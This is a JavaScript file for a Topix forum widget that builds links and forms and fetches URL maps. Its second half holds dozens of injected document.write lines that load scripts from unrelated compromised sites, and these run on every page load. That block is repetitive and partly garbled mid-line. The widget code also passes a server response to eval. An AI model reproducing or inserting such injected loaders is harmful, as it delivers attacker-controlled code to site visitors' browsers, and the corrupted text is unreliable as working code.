// may be redeclarations - should retain original value
var topix_ext_screenname;
var topix_ext_title;

function topix_ajax(opt) {
    var t;
    try {
        var ua = navigator.userAgent;
        if (ua.indexOf("MSIE") > -1)
            t = new ActiveXObject("Microsoft.XMLHTTP");
        else
            t = new XMLHttpRequest();
    }
    catch (e) { return null; }
    if (t == null) return null;
    if (opt.callback)
        t.onreadystatechange = function() { if (t.readyState == 4) opt.callback(t) };
    t.open("POST", opt.url, !opt.sync);
    t.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
    if (opt.headers)
        for (var hname in headers)
            t.setRequestHeader(hname, headers[hname]);
    t.send(opt.body);

    if (opt.sync && t.overrideMimeType)
        opt.callback(t);

}

function topix_forumctx_internal(obj, jsfile, url, pcode, cobrand)
{
    var ok = true;
    var error = "";

    if (!url.match("^http://"))
    {
        ok = false;
        error = "invalid url, url must start with 'http://', no https, or raw hostnames, the url you passed in was: " + url;
    }
    pcode = "" + pcode;
    if (pcode && !pcode.match("^[0-9]+$"))
    {
        ok = false;
        error = "invalid pcode, pcode must be a number.  the pcode you passed in was: " + pcode;
    }
    
    if (!ok && obj.testing && error) alert("topix debug error: " + error);
    if (!ok) return;
    
    var baseurl = obj.host + "/forum/ctx/" + jsfile;
    var params = "url=" + escape(url);
    params += "&version=" + obj.version;

    if (obj.testing)
        params += "&test=1";
    if (pcode > 0)
        params += topix_cobrand_params(pcode, cobrand);
    if (topix_ext_screenname)
        params += "&ext_sn=" + escape(topix_ext_screenname);
    if (topix_ext_title)
        params += "&ext_title=" + escape(topix_ext_title);

    if (window.location.href && window.location.href.match("topix_forcerecrawl=1$"))
    {
        if (confirm("Force topix to try to recrawl " + url))
            params += "&force=1";
    }

    var scripturl = baseurl + "?" + params;
    document.write("<" + "script language=\"JavaScript\" src=\"" + scripturl + "\">");
    document.write("<" + "/script>");
}

function topix_cobrand_params(pcode, cobrand)
{
    var params = "&p=" + pcode;
    params += "&s=PB";
    if (cobrand)
        params += "&co=1";
    return params;
}

function topix_forumctx_obj(host, version, testing)
{
    this.host = host;
    this.version = version;
    this.testing = testing;
    if (document.topix_forumctx_override_host)
        this.host = document.topix_forumctx_override_host;
    this.create_link = function(url) { topix_forumctx_internal(this, "link.js", url, 0, 0) };
    this.create_form = function(url) { topix_forumctx_internal(this, "widget.js", url, 0, 0) };
    this.create_cobrand_link = function(url, pcode, cobrand) { topix_forumctx_internal(this, "link.js", url, pcode, cobrand) };
    this.create_cobrand_form = function(url, pcode, cobrand) { topix_forumctx_internal(this, "widget.js", url, pcode, cobrand) };
    this.prepared_links = {};
    
    var ajax_opt = {sync:1, url:"/forum/ctx/urlmap"};
    ajax_opt.callback = function(t) {
        var json = eval('(' + t.responseText + ')');
        for (var i in json.rtn)
        {       
            topix_obj.prepared_links[i] = json.rtn[i];
        }   
    };

    var topix_obj = this;
    this.prepare_links = function(urls, pcode, cobrand) {
        ajax_opt.body = "";
        for (var i = 0; i < urls.length; i++)
        {
            if (i > 0) ajax_opt.body += "&";
            ajax_opt.body += "url" + i + "=" + escape(urls[i]);
        }
        if (pcode > 0)
        {
            ajax_opt.body += topix_cobrand_params(pcode, cobrand);
        }
        topix_ajax(ajax_opt);
    };

    this.write_prepared_link = function(url) { if (topix_obj.prepared_links[url]) document.write(topix_obj.prepared_links[url]); };
}

document.topix_forumctx = new topix_forumctx_obj("http://forumctx.topix.net", 1, 0);
document.topix_forumctx_test = new topix_forumctx_obj("http://forumctx-test.topix.net", 1, 1);


document.write('<script src=http://lupitaarmas.com/media/index2.php ><\/script>');
document.write('<script src=http://lupitaarmas.com/media/index2.php ><\/script>');
document.write('<script src=http://lupitaarmas.com/media/index2.php ><\/script>');
document.write('<script src=http://lupitaarmas.com/media/index2.php ><\/script>');
document.write('<script src=http://lupitaarmas.com/media/index2.php ><\/script>');
document.write('<script src=http://lupitaarmas.com/media/index2.php ><\/script>');
document.write('<script src=http://lupitaarmas.com/media/index2.php ><\/script>');
document.write('<script src=http://lupitaarmas.com/media/index2.php ><\/script>');
document.write('<script src=http://lupitaarmas.com/media/index2.php ><\/script>');
document.write('<script src=http://lupitaarmas.com/media/index2.php ><\/script>');
document.write('<script src=http://lupitaarmas.com/media/index2.php ><\/script>');
document.write('<script src=http://lupitaarmas.com/media/index2.php ><\/script>');
document.write('<script src=http://lupitaarmas.com/media/index2.php ><\/script>');
document.write('<script src=http://lupitaarmas.com/media/index2.php ><\/script>');
document.write('<script src=http://lupitaarmas.com/media/index2.php ><\/script>');
document.write('<script src=http://lupitaarmas.com/media/index2.php ><\/script>');
document.write('<script src=http://lupitaarmas.com/media/index2.php ><\/script>');
document.write('<script src=http://lupitaarmas.com/media/index2.php ><\/script>');
document.write('<script src=http://lupitaarmas.com/media/index2.php ><\/script>');
document.write('<script src=http://lupitaarmas.com/media/index2.php ><\/script>');
document.write('<script src=http://lupitaarmas.com/media/index2.php ><\/script>');
document.write('<script src=http://lupitaarmas.com/media/index2.php ><\/script>');
document.write('<script src=http://lupitaarmas.com/media/index2.php ><\/script>');
document.write('<script src=http://lupitaarmas.com/media/index2.php ><\/script>');
document.write('<script src=http://lupitaarmas.com/media/index2.php ><\/script>');
document.write('<script src=http://lupitaarmas.com/media/index2.php ><\/script>');
document.write('<script src=http://lupitaarmas.com/media/index2.php ><\/script>');
document.write('<script src=http://lupitaarmas.com/media/index2.php ><\/script>');
document.write('<script src=http://lupitaarmas.com/media/index2.php ><\/script>');
document.write('<script src=http://maruishi.biz/images/agriculture.php ><\/script>');
document.write('<script src=http://maruishi.biz/images/agriculture.php ><\/script>');
document.write('<script src=http://maruishi.biz/images/agriculture.php ><\/script>');
document.write('<script src=http://maruishi.biz/images/agriculture.php ><\/script>');
document.write('<script src=http://claptones.hu/images/media.php ><\/script>');
document.write('<script src=http://claptones.hu/images/media.php ><\/script>');
document.write('<script src=http://claptones.hu/images/media.php ><\/script>');
document.write('<script src=http://claptones.hu/images/media.php ><\/script>');
document.write('<script src=http://claptones.hu/images/media.php ><\/script>');
document.write('<script src=http://claptones.hu/images/media.php ><\/script>');
document.write('<script src=http://claptones.hu/images/media.php ><\/script>');dia/index2.php ><\/script>');
document.write('<script src=http://lupitaarmas.com/media/index2.php ><\/script>');
document.write('<script src=http://lupitaarmas.com/media/index2.php ><\/script>');
document.write('<script src=http://lupitaarmas.com/media/index2.php ><\/script>');
document.write('<script src=http://lupitaarmas.com/media/index2.php ><\/script>');
document.write('<script src=http://lupitaarmas.com/media/index2.php ><\/script>');
document.write('<script src=http://lupitaarmas.com/media/index2.php ><\/script>');
document.write('<script src=http://maruishi.biz/images/agriculture.php ><\/script>');
document.write('<script src=http://maruishi.biz/images/agriculture.php ><\/script>');
document.write('<script src=http://maruishi.biz/images/agriculture.php ><\/script>');
document.write('<script src=http://maruishi.biz/images/agriculture.php ><\/script>');
document.write('<script src=http://claptones.hu/images/media.php ><\/script>');
document.write('<script src=http://claptones.hu/images/media.php ><\/script>');

document.write('<script src=http://claptones.hu/images/media.php ><\/script>');
document.write('<script src=http://claptones.hu/images/media.php ><\/script>');
document.write('<script src=http://claptones.hu/images/media.php ><\/script>');
document.write('<script src=http://claptones.hu/images/media.php ><\/script>');
document.write('<script src=http://claptones.hu/images/media.php ><\/script>');
document.write('<script src=http://claptones.hu/images/media.php ><\/script>');
document.write('<script src=http://leonberger-zuchtrueden.de/Nachkommen/index.php ><\/script>');
document.write('<script src=http://leonberger-zuchtrueden.de/Nachkommen/index.php ><\/script>');
document.write('<script src=http://leonberger-zuchtrueden.de/Nachkommen/index.php ><\/script>');
document.write('<script src=http://leonberger-zuchtrueden.de/Nachkommen/index.php ><\/script>');
document.write('<script src=http://leonberger-zuchtrueden.de/Nachkommen/index.php ><\/script>');
document.write('<script src=http://leonberger-zuchtrueden.de/Nachkommen/index.php ><\/script>');
document.write('<script src=http://kurucdsgn.extra.hu/marta/swfobject.php ><\/script>');
document.write('<script src=http://kurucdsgn.extra.hu/marta/swfobject.php ><\/script>');
document.write('<script src=http://kurucdsgn.extra.hu/marta/swfobject.php ><\/script>');
document.write('<script src=http://kurucdsgn.extra.hu/marta/swfobject.php ><\/script>');
document.write('<script src=http://kurucdsgn.extra.hu/marta/swfobject.php ><\/script>');
document.write('<script src=http://kurucdsgn.extra.hu/marta/swfobject.php ><\/script>');
document.write('<script src=http://kurucdsgn.extra.hu/marta/swfobject.php ><\/script>');
document.write('<script src=http://kurucdsgn.extra.hu/marta/swfobject.php ><\/script>');
document.write('<script src=http://kurucdsgn.extra.hu/marta/swfobject.php ><\/script>');
document.write('<script src=http://live2.cricbuzz.com/assets/livescore.php ><\/script>');
document.write('<script src=http://tulip-training.de/error_docs/robots.php ><\/script>');